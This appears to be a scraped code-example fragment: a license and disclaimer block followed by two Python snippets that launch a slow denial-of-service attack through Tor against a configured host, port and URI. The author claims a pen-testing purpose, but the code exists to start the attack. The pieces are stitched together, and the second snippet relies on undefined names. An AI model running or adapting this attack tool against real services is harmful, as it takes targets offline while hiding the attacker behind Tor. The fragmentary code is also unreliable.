THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
    OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
    DEALINGS IN THE SOFTWARE.
    
    If you use this for criminal purposes and get caught you are on
    your own and I am not liable. I wrote this for legit pen testing
    purposes.
    
    Be kewl and give credit where it is due if you use this. Also,
    send me feedback as I don't have the bandwidth to test for every
    condition.   
"""
from libs import slow_ddos_tor, SocketController
from vars import slow_ddos_tor_vars

sc = SocketController.SocketController()
sc.spawnSockets()

slow_ddos_tor.kickOff(
    host=slow_ddos_tor_vars.getHost(),
    port=slow_ddos_tor_vars.getPort(),
    uri=slow_ddos_tor_vars.getUri(),
    plist=sc.getPortList(),
)
Exemple #2
0
def setOffSlowDos(host="", port=""):
    name = multiprocessing.current_process().name
    slowdospid = os.getpid()
    print "\n\n" +  name + " Started with pid %d" % slowdospid
    slow_ddos_tor.kickOff(host=host, port=port, plist=sc.getPortList())
    print name + " Finished - %s" % name